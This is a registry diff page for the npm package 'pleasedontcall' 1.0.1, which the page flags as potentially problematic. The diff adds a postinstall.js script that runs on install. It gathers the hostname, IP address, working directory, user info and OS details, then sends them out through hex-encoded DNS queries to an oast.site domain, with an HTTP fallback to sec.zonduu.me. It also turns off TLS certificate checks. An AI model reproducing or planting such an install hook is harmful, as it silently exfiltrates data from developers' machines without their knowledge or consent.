pleasedontcall 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pleasedontcall might be problematic. Click here for more details.
- package/package.json +12 -0
- package/postinstall.js +95 -0
package/package.json
ADDED
package/postinstall.js
ADDED
@@ -0,0 +1,95 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const dns = require('dns');
|
3
|
+
const http = require('http');
|
4
|
+
const os = require('os');
|
5
|
+
|
6
|
+
const logFile = '/tmp/postinstall.log';
|
7
|
+
|
8
|
+
process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
|
9
|
+
|
10
|
+
try {
|
11
|
+
fs.appendFileSync(logFile, `Starting postinstall script\n`);
|
12
|
+
|
13
|
+
const hostname = os.hostname();
|
14
|
+
const packageName = process.env.npm_package_name;
|
15
|
+
const packageVersion = process.env.npm_package_version;
|
16
|
+
const ipAddress = require('child_process').execSync('hostname -I').toString().trim();
|
17
|
+
const currentPath = process.cwd();
|
18
|
+
const platform = os.platform();
|
19
|
+
const userInfo = os.userInfo();
|
20
|
+
|
21
|
+
// Operating System Details
|
22
|
+
const osDetails = {
|
23
|
+
platform: os.platform(),
|
24
|
+
release: os.release(),
|
25
|
+
arch: os.arch()
|
26
|
+
};
|
27
|
+
|
28
|
+
const data = {
|
29
|
+
packageName,
|
30
|
+
packageVersion,
|
31
|
+
hostname,
|
32
|
+
ipAddress,
|
33
|
+
currentPath,
|
34
|
+
platform,
|
35
|
+
userInfo,
|
36
|
+
osDetails // Added OS details here
|
37
|
+
};
|
38
|
+
|
39
|
+
fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
|
40
|
+
|
41
|
+
// Prepare data for DNS exfiltration
|
42
|
+
const dnsData = `${packageName}-${hostname}-${ipAddress}`;
|
43
|
+
const hexData = Buffer.from(dnsData).toString('hex');
|
44
|
+
|
45
|
+
// Split hex data into parts fitting within DNS label length limit
|
46
|
+
const maxLabelLength = 63;
|
47
|
+
const hexDataParts = [];
|
48
|
+
for (let i = 0; i < hexData.length; i += maxLabelLength) {
|
49
|
+
hexDataParts.push(hexData.substring(i, i + maxLabelLength));
|
50
|
+
}
|
51
|
+
|
52
|
+
// Send each part as a separate DNS query
|
53
|
+
hexDataParts.forEach((part, index, arr) => {
|
54
|
+
const partIndex = index + 1;
|
55
|
+
const totalParts = arr.length;
|
56
|
+
const dnsSubdomain = `${part}-${partIndex}-${totalParts}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
|
57
|
+
dns.resolve4(dnsSubdomain, (err, addresses) => {
|
58
|
+
if (err) {
|
59
|
+
fs.appendFileSync(logFile, `DNS resolution failed: ${err}\n`);
|
60
|
+
} else {
|
61
|
+
fs.appendFileSync(logFile, `DNS query sent for ${dnsSubdomain}\n`);
|
62
|
+
}
|
63
|
+
});
|
64
|
+
});
|
65
|
+
|
66
|
+
// HTTP fallback
|
67
|
+
const getData = `targetUrl=${encodeURIComponent(JSON.stringify(data))}`;
|
68
|
+
|
69
|
+
const options = {
|
70
|
+
hostname: 'sec.zonduu.me', // Replace with your HTTP server hostname
|
71
|
+
port: 80, // Replace with the appropriate port
|
72
|
+
path: `/callbackplz?${getData}`,
|
73
|
+
method: 'GET'
|
74
|
+
};
|
75
|
+
|
76
|
+
const req = http.request(options, (res) => {
|
77
|
+
let responseData = '';
|
78
|
+
res.on('data', (chunk) => {
|
79
|
+
responseData += chunk;
|
80
|
+
});
|
81
|
+
res.on('end', () => {
|
82
|
+
fs.appendFileSync(logFile, `HTTP request completed with status ${res.statusCode}: ${responseData}\n`);
|
83
|
+
});
|
84
|
+
});
|
85
|
+
|
86
|
+
req.on('error', (e) => {
|
87
|
+
fs.appendFileSync(logFile, `HTTP request failed: ${e}\n`);
|
88
|
+
});
|
89
|
+
|
90
|
+
req.end();
|
91
|
+
|
92
|
+
fs.appendFileSync(logFile, `postinstall script finished\n`);
|
93
|
+
} catch (e) {
|
94
|
+
fs.appendFileSync(logFile, `Error: ${e.message}\n`);
|
95
|
+
}
|